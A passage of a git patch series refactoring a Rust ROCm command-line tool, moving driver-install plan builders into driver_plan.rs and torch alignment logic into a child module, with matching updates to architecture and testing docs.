`driver_plan::install_driver_only_reports_on`): /// where it holds the command changes nothing, so the plan is read-only, carries /// no `--yes` and does not call the change privileged or disruptive. pub(crate) fn plan_driver_request( diff --git a/crates/rocm-core/src/diagnose.rs b/crates/rocm-core/src/diagnose.rs index 667e09f6b5..79c2a4d974 100644 --- a/crates/rocm-core/src/diagnose.rs +++ b/crates/rocm-core/src/diagnose.rs @@ -1573,7 +1573,7 @@ fn is_repo_native_installed(method: &str) -> bool { /// Whether `rocm install driver --dkms` plans any commands for this host. /// /// Mirrors the full `(os_id, version_id)` / `ID_LIKE`-derivative -/// matrix in `apps/rocm/src/driver_install.rs::build_driver_install_plan_at` +/// matrix in `apps/rocm/src/driver_plan.rs::build_driver_install_plan_at` /// (`rocm-core` can't call that plan builder directly: `apps/rocm` depends /// on `rocm-core`, not the reverse). pub fn dkms_driver_plan_is_supported(e: &Examination) -> bool { @@ -8510,7 +8510,7 @@ mod tests { // (distro_id, distro_version, distro_id_like, supported). Kept in step // with `build_driver_install_plan_at` by // `driver_plan_support_matches_rocm_core_diagnose` in - // `apps/rocm/src/driver_install.rs`. + // `apps/rocm/src/driver_plan.rs`. let table = [ ("ubuntu", "22.04", "debian", true), ("ubuntu", "24.04", "debian", true), diff --git a/docs/architecture.md b/docs/architecture.md index 620350c57b..200f88364e 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -43,9 +43,9 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, the driver install state types, and, for now, the per-distro plan builders. The plan model, its rendering and the helpers every builder shares live in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), and the WSL rocDXG plan in [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs), reached through `driver_plan.rs`'s re-export; this module imports from them and they do not import from it. It reads the host's os-release through `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs) and no longer reaches into [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs). -- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, a leaf of the crate (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns `DriverInstallPlan` (with `execution_commands`), its `DriverPlanCommand`s and `DriverCommandPhase`, `PrivilegeEscalation` (whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, and the helpers every plan builder shares: `driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template` and `is_safe_shell_token`. Everything except `driver_plan_approval_label` is `pub(crate)`, and the plan's fields are too, because the builders that construct it are still in `driver_install.rs`. Production code uses only `std` and `rocm_core`, so `driver_install.rs` depends on this module and not the other way round. It declares the child module [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) and re-exports its `wsl_rocdxg_driver_plan` for the builders in `driver_install.rs`. Its tests cover the template resolver and the shell-token filter. -- [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) — full domain extraction, a child of `driver_plan.rs` that depends on the plan model, `driver_command`, `driver_root_preflight_checks` and `resolve_shell_default_template` in its parent, and on `truthy_env` in [`therock.rs`](../apps/rocm/src/therock.rs) (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the WSL2 rocDXG plan. `wsl_rocdxg_driver_plan` builds the plan that installs the `rocdxg-roct` package, `resolve_rocdxg_verification` decides how that download is authenticated (a supplied digest, the digest pinned for the version in `ROCDXG_PINNED_DIGESTS`, or the explicit opt-out), and `wsl_rocdxg_refusal_plan` is the plan that installs nothing and says why when it cannot be authenticated or the version is not a well-formed package version. `ROCDXG_PINNED_DIGESTS` is the trust anchor an unattended root install is checked against, so a change to it is a security-relevant diff; it moved byte for byte. `wsl_rocdxg_driver_plan` is `pub(crate)` and re-exported by `driver_plan.rs`; everything else in production code is private. Its tests are the `wsl_rocdxg_*` plan tests, including the one that runs the generated digest step against a real file on Unix. The test-only `scoped_rocdxg_env` helper that clears the rocDXG environment lives here too and is re-exported by `driver_plan.rs` under `cfg(test)`, because tests that stay in `driver_install.rs` use it as well. +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, running an approved plan's shell commands, and the install state persisted to `state.json` (`DriverInstallState`, `DriverReconciliationState` and the passive-check types). The plan it runs lives in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from and which does not import from it; the os-release the plan is built from comes from `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs). Its `pub(crate)` surface is `install_driver` and `reconcile_driver_install`, `DriverInstallResult` and `DriverInstallError` (read from `main.rs`'s `install()`), `driver_install_state_path`, and a re-export of `host_install_driver_only_reports` for [`chat.rs`](../apps/rocm/src/chat.rs) and [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs). +- [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, crate-level (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns the model (`DriverInstallPlan` with `execution_commands`, `DriverPlanCommand`, `DriverCommandPhase`, and `PrivilegeEscalation`, which decides whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, the helpers the builders share (`driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template`, `is_safe_shell_token`), and the builders: `build_driver_install_plan_read`, which `install_driver` calls with the real host's os-release, and `build_driver_install_plan_at` beneath it, with the apt, dnf and SLES plans, the `ID_LIKE` fallback, the repository URL helpers, `resolve_repo_version_expr` (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` override and the retired version variables it refuses), and the refusal plans for an unreadable os-release or an invalid override. It also owns `install_driver_only_reports_on`/`host_install_driver_only_reports` (true on native Windows, where the plan only reports); `driver_install.rs` re-exports the latter. It declares the child module [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) and re-exports its `wsl_rocdxg_driver_plan`. Production code in this file uses only `std` and `rocm_core`, and nothing here depends on `driver_install.rs`. The model types and their fields, `execution_commands`, `PrivilegeEscalation::detect`, `driver_command`, `render_driver_install_plan`, `build_driver_install_plan_read`, `install_driver_only_reports_on` and `host_install_driver_only_reports` are `pub(crate)`, as is `invalid_driver_version_override_plan`, which a test that stays in `driver_install.rs` builds a plan with; the rest is private. Its test module is `pub(crate)` so `driver_install.rs`'s tests can reuse its `test_examine` and `os_release_found` helpers. It holds the plan-builder tests, including the one that keeps the supported-distro matrix in step with `dkms_driver_plan_is_supported` in `rocm-core`, and the tests of the template resolver and the shell-token filter. +- [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) — full domain extraction, a child of `driver_plan.rs` that depends on the plan model, `driver_command`, `driver_root_preflight_checks` and `resolve_shell_default_template` in its parent, and on `truthy_env` in [`therock.rs`](../apps/rocm/src/therock.rs) (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the WSL2 rocDXG plan. `wsl_rocdxg_driver_plan` builds the plan that installs the `rocdxg-roct` package, `resolve_rocdxg_verification` decides how that download is authenticated (a supplied digest, the digest pinned for the version in `ROCDXG_PINNED_DIGESTS`, or the explicit opt-out), and `wsl_rocdxg_refusal_plan` is the plan that installs nothing and says why when it cannot be authenticated or the version is not a well-formed package version. `ROCDXG_PINNED_DIGESTS` is the trust anchor an unattended root install is checked against, so a change to it is a security-relevant diff; it moved byte for byte. `wsl_rocdxg_driver_plan` is `pub(crate)` and re-exported by `driver_plan.rs` (its builders call it, and tests in `driver_install.rs` use it as a plan fixture); everything else in production code is private. Its tests are the `wsl_rocdxg_*` plan tests, including the one that runs the generated digest step against a real file on Unix. The test-only `scoped_rocdxg_env` helper that clears the rocDXG environment lives here too, `pub(super)` for the plan-builder tests in `driver_plan.rs`. - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. - [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-213): resolving an engine's binary path (`resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `find_engine_plugin_binary`), the stdio request/response envelope used to talk to an external engine binary or the in-process built-in handler (`engine_request`, `engine_request_with_env_root`, `decode_engine_response`, the `ScopedEnvVar`/`with_scoped_builtin_engine_env` env-scoping helpers and the `BUILTIN_ENGINE_ENV_LOCK` mutex they serialize on, `builtin_engine_request`, `run_builtin_engine_stdio`), and the built-in HTTP-serving path (`builtin_engine_available`, `run_builtin_engine_serve_http`, `builtin_engine_serve_http_args`). Two items that sit physically inside this span in `main.rs` stayed there instead of moving: `missing_packaged_engine_reason` has callers outside the cluster (plus its own test), and `impl From for WatcherMode` is unrelated clap-arg conversion that merely happened to be interleaved between `find_engine_plugin_binary` and `engine_request`. `resolve_engine_binary_path`, `resolve_engine_binary_path_with_paths`, `engine_request`, `engine_request_with_env_root`, `builtin_engine_available`, and `builtin_engine_serve_http_args` are `pub(crate)` and read from other modules (for example [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs), [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) and [`service_launch.rs`](../apps/rocm/src/service_launch.rs)), not from `main.rs`. `run_builtin_engine_stdio` and `run_builtin_engine_serve_http` are `pub(crate)` and reached directly from `main.rs`'s `dispatch()` (the `Command::EngineStdio` and `__engine-serve-http` arms); `find_engine_plugin_binary`, `decode_engine_response`, `with_scoped_builtin_engine_env`, `builtin_engine_request`, and `ScopedEnvVar` have no callers outside this module and stay private. - [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) — mechanical relocation, owns types (Phase 6f, ROCMAI-215): deciding which runtime/env a `serve`/`engines install` invocation resolves to (`EngineSelection`, `resolve_engine_selection`, `validate_engine_selection_runtime`, `single_ready_runtime_key`, `resolve_runtime_selector_to_exact_key`), small argv-building helpers used when relaunching a managed engine (`optional_arg`, `engine_recipe_json_arg`, `parse_engine_recipe_json_arg`, `daemon_run_argv`, `managed_service_launcher_path`), the `ROCM_CLI_*` environment variables every managed child inherits (`app_path_env_vars`/`app_path_env_var_values`/`app_path_env_var_refs`/`apply_app_path_env`), and polling a freshly launched service until it can answer inference requests (`wait_for_service_http_ready`, `wait_for_service_http_ready_with_progress`, `service_http_readiness_paths`, `http_get_local_service`, `http_post_local_service_json`, `service_http_readiness_response_ready`, `lemonade_health_ready_for_model`, `model_list_ready_for_model`, `service_model_gpu_ready`, `service_model_reports_rocm_backend`, `service_model_names_match`). `const fn status_for_readiness` sits physically interleaved in this span in `main.rs` but stayed there instead of moving — it has callers outside this cluster ([`service_launch.rs`](../apps/rocm/src/service_launch.rs) and [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `record_restart_readiness`, which `restart_internal_managed_service_with` calls), so it stays a shared crate-root function, reached only from this module's own tests, via `use crate::status_for_readiness;`. Which items are `pub(crate)` and who calls them is documented in the module's own doc comment rather than repeated here. The cluster's regression tests live in the module's own `mod tests`. What remains in `main.rs` immediately after this cluster is `treat_as_natural_language`, dispatch-adjacent natural-language-invocation routing left over from an earlier phase (ROCMAI-87), explicitly out of scope and untouched by this split. diff --git a/docs/testing.md b/docs/testing.md index 9b1c3431f2..4a4de17a3d 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -2191,14 +2191,14 @@ repo file and signing key with the host's own suite (`noble` on 24.04, `resolute` on 26.04), and the previous-driver warning. The warning command is also run against a stubbed `dpkg-query` by `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed` in -[driver_install.rs](../apps/rocm/src/driver_install.rs). +[driver_plan.rs](../apps/rocm/src/driver_plan.rs). ## /etc/os-release Every Rust reader of `/etc/os-release` parses it with [`os_release.rs`](../crates/rocm-core/src/os_release.rs), which returns the value `sh` would assign or nothing: the driver plan -([`driver_install.rs`](../apps/rocm/src/driver_install.rs)), the OpenMPI, +([`driver_plan.rs`](../apps/rocm/src/driver_plan.rs)), the OpenMPI, libatomic and libnuma install plans `rocm` runs before serving and the hints naming them ([`openmpi.rs`](../crates/rocm-core/src/openmpi.rs)), `rocm examine`'s distro fields ([`host_env.rs`](../crates/rocm-core/src/examine/host_env.rs)), @@ -2265,7 +2265,7 @@ directly too, constructing an `OsRelease` from fixture text instead of going through a bare-text sibling — `crate::hardware_root::OsRelease::found` in [openmpi.rs](../crates/rocm-core/src/openmpi.rs)'s tests, and the equivalent `os_release_found` test helper in -[driver_install.rs](../apps/rocm/src/driver_install.rs)'s (the former is +[driver_plan.rs](../apps/rocm/src/driver_plan.rs)'s (the former is `#[cfg(test)] pub(crate)` inside `rocm-core` and so not visible from `apps/rocm`'s own tests). diff --git a/tests/e2e-cucumber/features/examine.feature b/tests/e2e-cucumber/features/examine.feature index 34c732c3cc..e666fbee68 100644 --- a/tests/e2e-cucumber/features/examine.feature +++ b/tests/e2e-cucumber/features/examine.feature @@ -283,7 +283,7 @@ Feature: GPU detection and system inspection # machine other than the runner. The driver plan cannot be exercised this way: # `rocm install driver` builds a plan that runs against the real machine, so it # deliberately reads the real `/etc/os-release` (see `real_os_release`); its - # parsing is covered by the unit tests in `driver_install.rs`. + # parsing is covered by the unit tests in `driver_plan.rs`. # # The planted distributions are ones no CI runner or developer host here runs, # so a probe that read the real file instead would report a different one. diff --git a/tests/e2e-cucumber/tests/e2e/driver_steps.rs b/tests/e2e-cucumber/tests/e2e/driver_steps.rs index 63f8e4f94b..a1532cc998 100644 --- a/tests/e2e-cucumber/tests/e2e/driver_steps.rs +++ b/tests/e2e-cucumber/tests/e2e/driver_steps.rs @@ -97,7 +97,7 @@ async fn assert_driver_plan_matches_host_release(world: &mut E2eWorld) { // by the plan itself. The dry run only shows the planned command text; the // conditional (warns only when amdgpu-dkms is installed) is proven by // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed` in - // apps/rocm/src/driver_install.rs. + // apps/rocm/src/driver_plan.rs. assert!( output.contains("from a previous installation is installed and was not removed"), "{output}" From b384eaa3b6bf4bcc5fd23e29f02a4dceb6f9795b Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 2 Nov 2026 18:05:37 +0000 Subject: [PATCH 05/12] refactor(rocm): move torch alignment and retention out of runtime_install_finalize.rs into a child module Step 5 of 7. runtime_install_finalize/torch_alignment.rs holds what to do about the torch an engine install finds in a managed runtime: TorchAlignment and TorchAlignmentPlan with plan_torch_alignment, align_runtime_torch and the render and report functions, TorchRetention with classify_retained_torch and its render and report functions, and the manifest readers (sdk_torch_build_for_key, sdk_torch_build_from_manifest, runtime_python_for_key, runtime_library_paths_for_key, runtime_index_url_for_key). It is a child, not a crate-level module, because it uses the parent's device check (RuntimeDeviceCheck, device_check_verdict), which stays there, while the parent calls into it from settle_engine_install and maybe_auto_install_sdk_preferred_engine; as a sibling the two would form a cycle. Moved code is identical apart from the edits below. Non-move edits: - Visibility: the items the parent calls become pub(super): TorchAlignment, TorchRetention, report_torch_alignment, report_torch_retention, classify_retained_torch, retained_diverged_package, deliberately_diverged_package, sdk_torch_build_for_key, runtime_python_for_key and runtime_library_paths_for_key. The rest stays private. deliberately_diverged_package's signature wraps over several lines in rustfmt's output because of that. - The parent declares the child module and imports the names it uses from it. Nothing is re-exported, because no file outside the parent uses these names. - Imports: the child gets the std, anyhow and crate imports its code needs, and reaches the parent's device check through super; its tests also import the parent's EngineDependencyCheck, classify_dependency_details and render_engine_dependency_check, which stay private in the parent and are visible to a descendant, and the test helpers they use from crate::tests. The parent drops the runtime_manifest_for_selector import and the test helper imports that only the moved code and tests used. - 25 tests move with the code (the planning, rendering, opt-out, retention and manifest-reader tests). The tests of the device check, the dependency check and the finalization stay in the parent. - docs/architecture.md gets an entry for the new file and a rewritten runtime_install_finalize.rs entry. The leaf-name test list is unchanged. Signed-off-by: Jussi Elo --- apps/rocm/src/runtime_install_finalize.rs | 1237 +--------------- .../torch_alignment.rs | 1263 +++++++++++++++++ docs/architecture.md | 3 +- 3 files changed, 1274 insertions(+), 1229 deletions(-) create mode 100644 apps/rocm/src/runtime_install_finalize/torch_alignment.rs diff --git a/apps/rocm/src/runtime_install_finalize.rs b/apps/rocm/src/runtime_install_finalize.rs index e224d53d2c..51fcab225f 100644 --- a/apps/rocm/src/runtime_install_finalize.rs +++ b/apps/rocm/src/runtime_install_finalize.rs @@ -33,7 +33,6 @@ use rocm_engine_protocol::{EngineMethod, InstallRequest, InstallResponse}; use crate::engine_ipc::engine_request_with_env_root; use crate::engines_cmd::{ engine_manages_own_runtime, env_root_for_engine_install, runtime_key_for_python, - runtime_manifest_for_selector, }; use crate::runtimes_cmd::{ activate_runtime, newest_installed_runtime_manifest, recover_setup_runtime_registration, @@ -44,6 +43,14 @@ pub(crate) use crate::system_packages::{ use crate::therock; use crate::{ROLLBACK_RECOVERY_HINT, record_cli_audit_event, runtime_services, sanitize_log_value}; +mod torch_alignment; + +use torch_alignment::{ + TorchAlignment, TorchRetention, classify_retained_torch, deliberately_diverged_package, + report_torch_alignment, report_torch_retention, retained_diverged_package, + runtime_library_paths_for_key, runtime_python_for_key, sdk_torch_build_for_key, +}; + #[derive(Debug, Clone)] pub(crate) struct SdkInstallFinalization { pub(crate) runtime_key: String, @@ -286,429 +293,6 @@ fn report_engine_dependency_check( ); } -/// The Python interpreter of the managed runtime `runtime_key`, when its manifest names -/// one. Used to check an environment whose engine install did not get far enough to -/// report its own interpreter. -fn runtime_python_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - manifest.python_executable.as_deref().map(PathBuf::from) -} - -/// The runtime's recorded ROCm library directories. -/// -/// These are what a served process gets on its loader path, so a probe must use -/// them too or it will judge a healthy runtime unusable. -fn runtime_library_paths_for_key(paths: &AppPaths, runtime_key: &str) -> Vec { - let Ok(manifests) = therock::load_runtime_manifests(paths) else { - return Vec::new(); - }; - runtime_manifest_for_selector(&manifests, runtime_key) - .and_then(|manifest| manifest.rocm_sdk.as_ref()) - .map(|probe| probe.library_paths.clone()) - .unwrap_or_default() -} - -/// The wheel index the runtime was installed from. -fn runtime_index_url_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - manifest.index_url.clone() -} - -/// Which torch a runtime should hold once an engine has been installed into it. -/// -/// Two installers write torch into the same environment. The SDK install writes -/// TheRock's build; the engine then writes the build from its own index, pinned -/// to an exact version. Letting either side win unconditionally is wrong, and -/// both failures have been observed in the field: -/// -/// * If the engine's build always wins, the runtime can end up with a torch that -/// loads against the installed SDK and then enumerates no devices, so serving -/// fails with an unhelpful error long after the install reported success. -/// * If the SDK's build always wins, the runtime can end up on a torch that -/// enumerates a device and still has no kernel image for this exact target, -/// failing on the first tensor operation instead. -/// -/// So compatibility is tested rather than assumed. A torch already executing a -/// GPU kernel with this SDK is kept exactly as it is — that decision is -/// `TorchRetention`, and it runs first. This alignment is the repair for -/// everything else, and what it installs is the SDK's *build* of the *release* -/// the engine pins: the release comes from the engine, which is built against it, -/// and the build comes from the SDK, which the libraries belong to. -#[derive(Debug, Clone, PartialEq, Eq)] -enum TorchAlignment { - /// The runtime already holds the SDK build of the engine's torch release. - AlreadyAligned { version: String }, - /// The engine's build was replaced with the SDK build of the same release. - Realigned { from: String, to: String }, - /// The SDK publishes no build of that release; the engine's own is kept. - /// - /// Claimed only when the resolver actually said so. Any other failure is an - /// `InstallFailed`, because asserting "not published" over a network or disk - /// error sends the reader hunting for a missing wheel that exists. - Unavailable { wanted: String, kept: String }, - /// The realignment install failed for some other reason, carried verbatim. - InstallFailed { - wanted: String, - kept: String, - error: String, - }, - /// The user opted out, and a replacement was due: their torch is kept. - /// - /// Distinct from every other outcome because nothing was attempted. Reading - /// it as `NotApplicable` would say the rule had no opinion, when it had one - /// and was told not to act on it, and that difference is what the reader - /// needs: `wanted` is the build that was not installed, `kept` the one still - /// there. Only reachable when those two actually differ, so a runtime the - /// opt-out changed nothing about is never described as one it spared. - Disabled { wanted: String, kept: String }, - /// Nothing to decide — no exact pin, no engine metadata, or no SDK torch. - NotApplicable(String), -} - -/// What the alignment rule concludes, before any of it is acted on. -#[derive(Debug, Clone, PartialEq, Eq)] -enum TorchAlignmentPlan { - AlreadyAligned { version: String }, - Install { wanted: String, from: String }, - NotApplicable(String), -} - -/// The rule itself, kept free of I/O so both field failures can be tested. -/// -/// `wanted` is the engine's pinned *release* carrying the SDK's *build*. -fn plan_torch_alignment( - sdk_build: Option<&str>, - installed_torch: Option<&str>, - engine_requirement: Option<&str>, - engine: &str, -) -> TorchAlignmentPlan { - let Some(sdk_build) = sdk_build else { - return TorchAlignmentPlan::NotApplicable( - "the runtime manifest does not identify the SDK's torch build".to_owned(), - ); - }; - let Some(requirement) = engine_requirement else { - return TorchAlignmentPlan::NotApplicable(format!("{engine} does not pin torch")); - }; - let Some(pinned) = therock::requirement_pinned_version(requirement) else { - return TorchAlignmentPlan::NotApplicable(format!( - "{engine} does not pin torch to an exact version ({requirement})" - )); - }; - let wanted = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); - let installed = installed_torch.unwrap_or_default().to_owned(); - if installed == wanted { - TorchAlignmentPlan::AlreadyAligned { version: wanted } - } else { - TorchAlignmentPlan::Install { - wanted, - from: installed, - } - } -} - -/// Whether a failed install means the resolver could not find that version. -/// -/// Deliberately narrow. Anything unmatched is reported as a plain failure with -/// its error, so an unrecognised message degrades to the honest answer rather -/// than to a confident wrong one. -fn install_error_reports_version_unavailable(error: &str) -> bool { - let error = error.to_ascii_lowercase(); - error.contains("no solution found") - || error.contains("were found for") - || error.contains("not found in the package registry") - || error.contains("has no version") -} - -/// Whether the user has opted out of realigning torch. -/// -/// The alignment rewrites a package the user may have installed deliberately, and -/// it runs on every path that installs an engine, so a hand-installed torch is -/// otherwise replaced again by the next `engines install`, `install sdk`, or -/// `engines shell`. The stack this resolves to — the SDK's build of the release -/// the engine pins — is not validated against the supported matrix, so "the SDK's -/// build does not work on this machine" is a case that can happen rather than a -/// hypothetical one, and it needs an exit that is not "stop using the CLI". -/// -/// The engine reads the same variable through the same helper, so the two sides -/// cannot drift; [`rocm_core::torch_alignment_disabled`] carries why that matters. -/// Suppressing the correction does not suppress the diagnosis: a runtime that -/// opens no device or cannot run a kernel on one is still reported as such — and -/// still fails the install on a host where a GPU was found. -fn torch_alignment_disabled() -> bool { - rocm_core::torch_alignment_disabled() -} - -/// Install the SDK's build of the release the engine pins, when that is needed. -/// -/// `torch` is the metadata probe the caller already took: the retention decision -/// that runs first needs the engine's pin too, and asking the runtime the same -/// question twice would be a second interpreter launch for an answer in hand. -/// -/// The opt-out is read where the install would run, not at the top. That is the -/// only place it changes anything, and reading it there is what lets the result -/// name the replacement it declined to make: a runtime with no replacement due -/// reports what it is, rather than reporting an opt-out that skipped nothing. -fn align_runtime_torch( - paths: &AppPaths, - python: &Path, - index_url: Option<&str>, - sdk_build: Option<&str>, - engine: &str, - torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, -) -> TorchAlignment { - let probe = match torch { - Ok(probe) => probe, - Err(error) => return TorchAlignment::NotApplicable(error.to_string()), - }; - let plan = plan_torch_alignment( - sdk_build, - probe.installed_torch.as_deref(), - probe.engine_requires_torch.as_deref(), - engine, - ); - let (wanted, from) = match plan { - TorchAlignmentPlan::AlreadyAligned { version } => { - return TorchAlignment::AlreadyAligned { version }; - } - TorchAlignmentPlan::NotApplicable(reason) => { - return TorchAlignment::NotApplicable(reason); - } - TorchAlignmentPlan::Install { wanted, from } => (wanted, from), - }; - // Read only now that a replacement is actually due, so the opt-out reports - // the install it stopped rather than standing in for a runtime that needed - // nothing. Everything after this point is the rewrite itself. - if torch_alignment_disabled() { - return TorchAlignment::Disabled { wanted, kept: from }; - } - let Some(index_url) = index_url else { - return TorchAlignment::NotApplicable( - "the runtime manifest records no wheel index to install from".to_owned(), - ); - }; - match therock::install_pinned_package( - paths, - python, - index_url, - "torch", - &format!("torch=={wanted}"), - ) { - Ok(()) => TorchAlignment::Realigned { from, to: wanted }, - // The SDK index may not publish this release at all. That is a real - // possibility, not an error to abort on: the engine's own build is left - // in place and the device check that follows reports whether it works. - Err(error) => { - let error = format!("{error:#}"); - if install_error_reports_version_unavailable(&error) { - TorchAlignment::Unavailable { wanted, kept: from } - } else { - TorchAlignment::InstallFailed { - wanted, - kept: from, - error, - } - } - } - } -} - -/// Render one alignment outcome as the `torch_alignment:` check block. -/// -/// `engine` names the engine whose pin decided the release, so the realigned line -/// reads `... the release vllm pins` rather than an anonymous "the engine". It -/// arrives from the engine selection and is sanitized like every other -/// interpolated value. -/// -/// `before` is the verdict the runtime gave *prior* to the realignment. Only the -/// realigned outcome replaced anything, so only that arm prints it — and it must, -/// because the `device_check:` block further down reports the runtime as it is -/// now. Without the before verdict beside it, a realignment that ends in a -/// failing runtime does not say whether the alignment broke something that -/// worked or found something already broken, and answering that afterwards means -/// going to the machine to look. The value is already in hand at the call site; -/// dropping it only moves the cost onto whoever reads the output. -fn render_torch_alignment( - outcome: &TorchAlignment, - engine: &str, - before: Option<&RuntimeDeviceCheck>, -) -> String { - let mut output = String::new(); - match outcome { - TorchAlignment::AlreadyAligned { version } => { - let _ = writeln!( - output, - " torch_alignment: already_aligned ({})", - sanitize_log_value(version) - ); - } - TorchAlignment::Realigned { from, to } => { - let _ = writeln!(output, " torch_alignment: realigned"); - let _ = writeln!( - output, - " {} -> {} (the SDK's build of the release {} pins)", - sanitize_log_value(from), - sanitize_log_value(to), - sanitize_log_value(engine) - ); - if let Some(before) = before { - let _ = writeln!( - output, - " before this replacement: {} (device_check below is after it)", - sanitize_log_value(&device_check_verdict(before)) - ); - } - } - TorchAlignment::Unavailable { wanted, kept } => { - let _ = writeln!(output, " torch_alignment: unavailable"); - let _ = writeln!( - output, - " the SDK index publishes no {}; keeping {}", - sanitize_log_value(wanted), - sanitize_log_value(kept) - ); - } - TorchAlignment::InstallFailed { - wanted, - kept, - error, - } => { - let _ = writeln!(output, " torch_alignment: install_failed"); - let _ = writeln!( - output, - " could not install {}: {}", - sanitize_log_value(wanted), - sanitize_log_value(error) - ); - let _ = writeln!(output, " keeping {}", sanitize_log_value(kept)); - } - TorchAlignment::Disabled { wanted, kept } => { - let _ = writeln!(output, " torch_alignment: disabled"); - let _ = writeln!( - output, - " ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping {} rather than installing {}", - sanitize_log_value(kept), - sanitize_log_value(wanted) - ); - } - TorchAlignment::NotApplicable(reason) => { - let _ = writeln!( - output, - " torch_alignment: not_applicable ({})", - sanitize_log_value(reason) - ); - } - } - output -} - -/// Repair the runtime's torch, print the `torch_alignment:` block, and record it. -/// -/// Reached only when no torch in the runtime has proven it can run a GPU kernel. -/// The outcome is returned so the dependency check that follows can be read -/// against it: `deliberately_diverged_package` turns it into the one package -/// whose divergence is intended. -fn report_torch_alignment( - paths: &AppPaths, - engine: &str, - python: &Path, - runtime_key: &str, - sdk_build: Option<&str>, - torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, - before: &RuntimeDeviceCheck, -) -> TorchAlignment { - let index_url = runtime_index_url_for_key(paths, runtime_key); - let outcome = align_runtime_torch( - paths, - python, - index_url.as_deref(), - sdk_build, - engine, - torch, - ); - print!("{}", render_torch_alignment(&outcome, engine, Some(before))); - let (level, message) = match &outcome { - TorchAlignment::AlreadyAligned { version } => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=already_aligned version={version}" - ), - ), - // The before verdict rides along in the audit line too: the log is read - // long after the install, when the runtime on disk can no longer answer - // what it was like beforehand. - TorchAlignment::Realigned { from, to } => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=realigned from={from} to={to} before={}", - device_check_verdict(before) - ), - ), - TorchAlignment::Unavailable { wanted, kept } => ( - "error", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=unavailable wanted={wanted} kept={kept}" - ), - ), - TorchAlignment::InstallFailed { - wanted, - kept, - error, - } => ( - "error", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=install_failed wanted={wanted} kept={kept}: {error}" - ), - ), - // The user's own decision, carried out as asked, so it is not an error. - // The device check that follows is what says whether the torch they kept - // works, and that verdict is recorded — and enforced — on its own. - TorchAlignment::Disabled { wanted, kept } => ( - "info", - format!( - "engine={engine} 